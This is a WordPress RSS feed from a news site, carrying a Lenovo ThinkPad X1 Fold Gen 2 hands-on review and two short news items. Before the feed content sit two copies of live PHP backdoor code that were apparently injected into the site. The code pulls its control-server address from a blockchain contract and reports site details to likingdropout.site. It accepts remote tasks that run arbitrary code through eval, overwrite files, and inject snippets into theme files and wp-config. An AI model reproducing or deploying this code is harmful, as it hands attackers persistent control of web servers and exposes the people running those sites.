// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); sleek – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 01 Sep 2022 04:10:04 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png sleek – Brief News https://briefnews.eu 32 32 Lenovo ThinkPad X1 Fold Gen 2 hands-on review: a sleek redo https://briefnews.eu/lenovo-thinkpad-x1-fold-gen-2-hands-on-review-a-sleek-redo/ https://briefnews.eu/lenovo-thinkpad-x1-fold-gen-2-hands-on-review-a-sleek-redo/#respond Thu, 01 Sep 2022 04:10:04 +0000 https://briefnews.eu/lenovo-thinkpad-x1-fold-gen-2-hands-on-review-a-sleek-redo/ The 2022 ThinkPad X1 Fold is the second generation of Lenovo’s foldable line, which the company says is now bigger, more powerful, and more versatile.

After having launched the foldable PC category in 2020 with the original ThinkPad X1 Fold, Lenovo took what it learned from the first generation to make a more streamlined and modern-looking product that should appeal to a wider audience. After spending some time with the ThinkPad X1 Fold Gen 2 myself, I came away impressed by how Lenovo has moved the design forward.

The 2022 ThinkPad X1 Fold in landscape mode attached to a keyboard.

Specs

  Lenovo ThinkPad X1 Fold Gen 2
Dimensions 10.87 x 13.6 x 0.34 inches (unfolded), 6.9 x 10.87 x 0.68 inches (folded)
Weight 2.82 pounds
Processor Up to Intel vPro with 12th Gen Intel Core U9 i5 and i7 Processors
Graphics Intel Iris Xe
RAM Up to 32GB LPDDR5
Display 16.3-inch (2024×2560) foldable OLED 600 nit HDR/400nit SDR, DCI P3 100%, Dolby Vision
Storage Up to 1TB PCIe Gen 4 SSD
Touch On-cell Touch with Pen support
Ports 2x Thunderbolt 4, 1 USB-C 3.2 Gen 2, Nano-SIM card tray3.5mm Combo Audio Jack
Wireless Wi-Fi 6E 802.11 AX (2×2), Bluetooth 5.2,  5G Sub 6 (optional)
Webcam 5-megapixel RGB+IR with Intel VSC option
Operating system Up to Windows 11 Pro
Battery 48-watt-hour (optional additional 16-watt-hour configurable)
Price $ 2,500

Design

The ThinkPad X1 Fold Gen 2 is an intricate device with many moving parts, no pun intended. There is so much to consider in terms of its design — the 16.3-inch display itself — its external parts, its internal parts, and its accessories.

Customers had to buy the accessories for the original ThinkPad X1 Fold, such as its keyboard and folio stand separately. This model sells with its magnetic attachable keyboard and kickstand included. When not in use, you can fold the ThinkPad X1 Fold into its 12-inch form and snap both accessories onto the PC for easy carrying without needing an additional case.

The 2022 ThinkPad X1 Fold front cover.
The 2022 ThinkPad X1 Fold internals and hinge.
The 2022 ThinkPad X1 Fold in clamshell model next to its stand and keyboard.

The two outer layers of the ThinkPad X1 Fold are made of woven fabric panels that are reinforced with carbon fiber and graphite. Internally, the PC has a fanless design but includes a graphite and copper heat sink as its cooling system to spread heat to protect the most important components in the device.

The hinge has a hidden design so that the two panels wrap around it as the device opens and closes. Lenovo explained that when folded the design creates a bell shape for the display that never fully creases the screen, but rather helps to keep it protected from damage.

Display

The star feature of the ThinkPad X1 Fold Gen 2 is surely its display, which is a 16.3-inch, 2024 x 2560 resolution, foldable OLED screen with 600 nits brightness in HDR mode and 400 nits brightness in SDR mode, plus a DCI P3 100% RGB color space.

The on-cell touch display also supports Dolby Vision and Pen support, with a Wacom stylus as its tool of choice. The accessory snaps magnetically to the side of the chassis for easy carrying. The grated speakers on the sides of the frame also support Dolby Atmos and Dolby Voice.

The 2022 ThinkPad X1 Fold shown standing in portrait and landscape modes with packaging.
The 2022 ThinkPad X1 Fold display modes toggled on screen.
lenovo thinkpad x1 fold gen 2 hands on photos specs design the 2022 in clamshell mode

The sheer size of the product allows you to imagine it a lot less as a basic tablet and a lot more as it is intended — a foldable PC with several possibilities for its setup and use. At first glance, the OLED colors really pop, as can be expected from this panel type. In addition to its primary 16.3-inch and 12-inch form factors, the ThinkPad X1 Fold Gen 2 can be melded into different positions with or without the help of its stand and trackpad accessories.

When unfolded, you can use the 2022 ThinkPad X1 Fold in either portrait or landscape mode, with the display automatically adjusting to fit the different orientations. The portrait mode is the new option, which basically gives you an extremely tall vertical display. This is also something this laptop’s primary competitor, the Asus Zenbook Fold 17, doesn’t have.

Then you can fold the new ThinkPad X1 Fold into its clamshell mode, which allows it to be used as a traditional laptop. The foldable features an onscreen keyboard, of course, though the attachable accessory keyboard is what most people will want to use.

The 2022 ThinkPad X1 Fold in portrait mode.

The foldable PC includes a front-facing 5-megapixel IR RGB camera, which powers such built-in AI features as, lock-on-leave and wake-on-face. As described the device can be set to lock automatically when eyes are no longer detected by the camera and to wake again when you are present at the screen once more. Like the older model, this foldable PC also sticks to one camera.

You can also toggle the display to set up several panels, columns, or areas to bring up different browsers, apps, or programs. This is a great option for multitasking and can be configured into a number of unique configurations. Perhaps you need a side-by-side productivity use case that is ideal for the landscape mode. You can do columns in portrait mode and split one column in half still, adjusting the size as you need. There are so many possibilities.

2022 ThinkPad X1 Fold

Lenovo also made improvements over its first-generation ThinkPad X1 Fold, which has a gap at the fold, by ensuring the 2022 model folds completely flat. This not only provides a seamless look when viewing the display but helped in creating narrow bezels for the screen.

There is some bumpiness along the folding point of the display, but I can’t imagine that impedes the look or performance of the display in any way. It’s just something I noted. It could potentially be a result of the hidden hinge, as explained previously.

Lenovo claims the durability of the foldable display exceeds the life cycle of the PC, projecting that the screen could last up to 10 years, as per the results of robust open and close folding tests on the product.

Keyboard and trackpad

Accessories for the 2022 ThinkPad X1 Fold now come included with the foldable PC and are light and magnetically attachable. The ThinkPad TrackPoint Bluetooth keyboard is a full-sized peripheral that is modeled after the ThinkPad X1 Nano keyboard. It includes track point buttons, a haptic trackpad, and a fingerprint reader that supports Windows Hello.

The 2022 ThinkPad X1 Fold in landcape mode.

When not already attached, you can use the keyboard separately from the display while connecting to Bluetooth. Additionally, you can place the keyboard on top of the flat part of the foldable PC in clamshell mode or still use the keyboard attached or separately.

Similarly, the accompanying stand snaps onto the 2022 ThinkPad X1 Fold magnetically and adjusts well for easy use. You can place the device in landscape or portrait mode and adjust the fold to your preference.

Fortunately, many of the problems with the layout of the original ThinkPad X1 Fold’s keyboard have been resolved. No missing keys or surprises — everything’s right where you’d expect on a standard ThinkPad laptop. That’s largely thanks to the larger size, no longer needing to compromise to fit all the keys in.

Performance and battery life

With its professional-grade internals, Lenovo is promising major performance improvements with the 2022 ThinkPad X1 Fold over the prior model based on its own internal testing. The foldable PC offers 12th Gen Intel Core U9 vPro i5 and i7 Processor options, LPDDR5 memory up to 32GB, PCIe Gen 4 SSD up to 1TB, and Intel Iris Xe Graphics.

2022 ThinkPad X1 Fold

Several configurable options are available at Lenovo.com, including five i5 and i7 vPro and non-vPro processor options, storage options including 8GB, 16GB, 32GB, 256GB, 512GB, and 1TB. Additionally, the device ships with Windows 11 Home, and can be upgraded to Windows 11 Pro or downgraded to Windows 10 Pro based on user preference.

The device comes also with a standard 48-watt-hour battery, which can be configured to add an additional 16-watt-hour battery. Together Lenovo promises a battery life of up to 11 hours for the 2022 ThinkPad X1 Fold, which is a boost of up to three hours as per reviews of the prior model.

2022 ThinkPad X1 Fold

The 2022 ThinkPad X1 Fold includes three USB-C ports, two of which support Thunderbolt 4, allowing you to dock external devices. You can connect up to three external monitors to the foldable PC, two 5K, and one 4K.

Additionally, the device includes a nano-SIM card tray for its LTE connectivity. It also comes with Wi-Fi 6E support standard and optional 5G Sub 6 support.

Price and availability

The price of the 2022 ThinkPad X1 Fold notably remains unchanged from that of the original foldable PC that was released in 2020. The new model starts at $ 2,500 and its expected availability starts in November 2022.

]]>
https://briefnews.eu/lenovo-thinkpad-x1-fold-gen-2-hands-on-review-a-sleek-redo/feed/ 0
U by Kotex Sleek tampons recalled in Canada and U.S. https://briefnews.eu/u-by-kotex-sleek-tampons-recalled-in-canada-and-u-s/ https://briefnews.eu/u-by-kotex-sleek-tampons-recalled-in-canada-and-u-s/#respond Fri, 14 Dec 2018 03:19:13 +0000 http://briefnews.eu/u-by-kotex-sleek-tampons-recalled-in-canada-and-u-s/ U by Kotex tampons

Kimberly-Clark announces a recall of regular absorbency U by Kotex Sleek Tampons after reports of they came apart while being removed from the body.

]]>
https://briefnews.eu/u-by-kotex-sleek-tampons-recalled-in-canada-and-u-s/feed/ 0
Porsche’s Sleek Chargers Will Power up EVs in Just 15 Minutes https://briefnews.eu/porsches-sleek-chargers-will-power-up-evs-in-just-15-minutes/ https://briefnews.eu/porsches-sleek-chargers-will-power-up-evs-in-just-15-minutes/#respond Thu, 20 Sep 2018 12:30:09 +0000 http://briefnews.eu/porsches-sleek-chargers-will-power-up-evs-in-just-15-minutes/ The German automaker’s “electric pit stops” promise to put 250 miles of range on the Taycan’s batteries nearly three times faster than a Tesla Supercharger.


https://media.wired.com/photos/5ba2947afef8e856e5cf68f2/master/pass/Porsche_Charger-2.jpg

]]>
https://briefnews.eu/porsches-sleek-chargers-will-power-up-evs-in-just-15-minutes/feed/ 0
